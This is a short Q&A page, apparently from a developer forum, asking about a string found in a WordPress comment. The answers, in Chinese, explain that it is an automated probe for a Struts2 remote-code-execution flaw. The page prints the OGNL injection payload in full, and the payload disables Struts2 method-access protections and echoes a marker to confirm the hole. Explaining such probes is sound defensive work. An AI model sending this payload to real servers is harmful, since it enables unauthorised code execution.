Home > Article > Backend Development > javascript - Someone wrote this in a WordPress comment, what is this code for?
javascript - Someone wrote this in a WordPress comment, what is this code for?
- WBOYOriginal
- 2016-09-29 09:33:021105browse
‘+(#context[”xwork.MethodAccessor.denyMethodExecution”]=new java.lang.Boolean(false),#_memberAccess[”allowStaticMethodAccess”]=new java.lang.Boolean(true),#_memberAccess.excludeProperties={},#a_str=’814F60BD-F6DF-4227-‘,#b_str=’86F5-8D9FBF26A2EB’,#a_resp=@org.apache.struts2.ServletActionContext@getResponse(),#a_resp.getWriter().println(#a_str+#b_str),#a_resp.getWriter().flush(),#a_resp.getWriter().close())+’
回复内容：
‘+(#context[”xwork.MethodAccessor.denyMethodExecution”]=new java.lang.Boolean(false),#_memberAccess[”allowStaticMethodAccess”]=new java.lang.Boolean(true),#_memberAccess.excludeProperties={},#a_str=’814F60BD-F6DF-4227-‘,#b_str=’86F5-8D9FBF26A2EB’,#a_resp=@org.apache.struts2.ServletActionContext@getResponse(),#a_resp.getWriter().println(#a_str+#b_str),#a_resp.getWriter().flush(),#a_resp.getWriter().close())+’
印象中有这么一个java的struts2框架远程执行任意代码的漏洞
一般这种都是扫漏洞的脚本所为，如果不是用的只是wordpress，那你装一个防止垃圾评论的插件即可，不影响